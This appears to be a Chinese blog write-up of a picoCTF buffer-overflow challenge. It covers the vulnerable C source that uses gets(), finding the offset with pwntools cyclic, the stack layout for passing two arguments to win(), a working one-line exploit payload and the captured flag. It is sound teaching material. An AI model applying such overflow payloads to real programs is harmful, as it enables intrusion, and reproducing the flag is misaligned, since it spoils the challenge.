Binary Exploitation的題目我認為是比較難上手的,因為他牽涉到很多知識,包括組合語言、C 程式等等都有關係,若對這些不熟的可能會比較吃力一點,所以建議可以先從別的領域下手可能挫折感不會這麼大~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xDEADC0DE)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
這裡一樣可以在vuln()
這個函式內做buffer overflow,因為裡面的gets()
並沒有做輸入的檢查,所以我們利用輸入的內容使程式跳到win()
這個函式去執行
不過,要拿到Flag必須要再通過兩個判斷,就是要帶兩個參數 0xDEADBEEF
以及 0xDEADC0DE
,至於要怎麼知道輸入的字串要輸入多長、要輸入什麼,這邊利用到昨天有提到 pwntools
中的 cyclic
因為這邊buf的大小是100,那我們可以輸入大一點的字串例如200看看是在哪裡出錯
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
可以看到retrun address被填入 0x62616164
也就是 daab
,但是這是一個錯誤的位址,所以會發生segmentation fault
接著再利用cyclic_find('daab')
找offset
cyclic_find('daab')
112
所以在輸入112個字元之後再加上win()
的位址 0x080485cb
就可以跳到win()
這個函式執行,在這以上都是昨天有提過的部分,不過要怎麼帶入參數進 win()
執行呢,這邊我利用stack來做說明
stack |
---|
aaaa |
aaaa |
aaaa |
aaaa |
. |
. |
. |
0x080485cb |
xxxx |
0xDEADBEEF |
0xDEADC0DE |
以上這個stack是完整的輸入,不過一定會覺得有疑問中間為什麼會有一個xxxx,以下會做個說明
在做完 vuln()
這個函式之後會retrun 到 win()
的位置,所以0x080485cb
會被pop掉,所以這時的stack如下
stack |
---|
xxxx |
0xDEADBEEF |
0xDEADC0DE |
這個xxxx代表的就是做完win()
之後的return address不過因為我們已經不在意做完之後會到哪裡,所以這邊隨便填都可以,只要能填滿4個byte就好,再來下面的兩個就是win()
的參數,所以這樣子就成功呼叫win()
這個函式
這邊也是像昨天一樣的方式 python -c (...) |./vuln
就可以成功拿到Flag囉
$ python -c "from pwn import *; print ('a'*112+p32(0x080485cb)+'x'*4+p32(0xDEADBEEF)+p32(0xDEADC0DE))" |./vuln
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ?????
picoCTF{addr3ss3s_ar3_3asya4104c14}
Segmentation fault (core dumped)
其實Buffer Overflow的題目有點像SQL injection一樣的填字遊戲,不過事實上還是差蠻多的啦,因為它牽涉到更多層面的知識,所以不是隨便填都可以,可能差一個Byte就差很多了!